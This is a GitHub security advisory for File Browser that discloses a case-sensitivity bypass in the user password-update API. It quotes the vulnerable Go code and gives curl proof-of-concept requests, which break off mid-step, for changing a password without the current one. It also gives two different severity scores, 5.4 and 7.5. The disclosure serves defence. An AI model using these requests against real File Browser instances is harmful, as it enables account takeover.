GitHub Security Advisory: GHSA-hxw8-4h9j-hq2r
Package: github.com/filebrowser/filebrowser/v2 (GO)
Severity: MODERATE (CVSS 5.4)
CWE: CWE-178: Improper Handling of Case Sensitivity
Vulnerable versions: <= 2.57.0
Patched in: 2.57.1

Summary: File Browser has an Authentication Bypass in User Password Update

Details:
# Security Advisory: Authentication Bypass in User Password Update

## Summary

A case-sensitivity flaw in the password validation logic allows any authenticated user to change their password (or an admin to change any user's password) **without providing the current password**. By using Title Case field name `"Password"` instead of lowercase `"password"` in the API request, the `current_password` verification is completely bypassed. This enables account takeover if an attacker obtains a valid JWT token through XSS, session hijacking, or other means.

**CVSS Score**: 7.5 (High)  
**CWE**: CWE-178 (Improper Handling of Case Sensitivity)

---

## Details

The vulnerability exists in `http/users.go` in the `userPutHandler` function (lines 181-200).

### Vulnerable Code

```go
// http/users.go:181-200
if d.settings.AuthMethod == auth.MethodJSONAuth {
    var sensibleFields = map[string]struct{}{
        "all":          {},
        "username":     {},
        "password":     {},  // lowercase
        "scope":        {},
        "lockPassword": {},
        "commands":     {},
        "perm":         {},
    }

    for _, field := range req.Which {
        if _, ok := sensibleFields[field]; ok {  // Case-sensitive lookup
            if !users.CheckPwd(req.CurrentPassword, d.user.Password) {
                return http.StatusBadRequest, fberrors.ErrCurrentPasswordIncorrect
            }
            break
        }
    }
}
```

### Root Cause

1. The `sensibleFields` map uses **lowercase** keys (e.g., `"password"`)
2. The lookup `sensibleFields[field]` is **case-sensitive**
3. When `req.Which` contains `"Password"` (Title Case), the lookup returns `false`
4. The password verification block is skipped entirely
5. Later in the code (line 229), field names are converted to Title Case for processing, so `"Password"` is a valid field name

### Attack Flow

```
1. Attacker obtains victim's JWT token (via XSS, log leakage, etc.)
2. Attacker sends PUT /api/users/{id} with:
   - which: ["Password"]  (Title Case - bypasses validation)
   - data.[CREDENTIAL_REDACTED]_password"
   - NO current_password field required
3. Password is changed without verification
4. Victim is locked out, attacker has full access
```

---

## PoC

### Prerequisites
- A valid JWT token for any user account
- Target Filebrowser instance using JSON authentication (default)

### Reproduction Steps

**Step 1: Obtain a valid JWT token**
```bash
TOKEN=$(curl -s -X POST "http://target:8080/api/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"victim","password":"victim_password"}')
```

**Step 2: Attempt normal password change (should fail)**
```bash
curl -s -X PUT "http://target:8080/api/users/1" \
  -H "X-Auth: $TOKEN" \
  -H "Content-Type: application/json" \
  -d '{
    "what": "user",
    "which": ["password"],
    "data": {"id": 1, "password": "NewPassword123456"}
  }'
# Response: 400 Bad Request (the current password is incorrect)
```

**Step 3: Bypass with Title Case (suc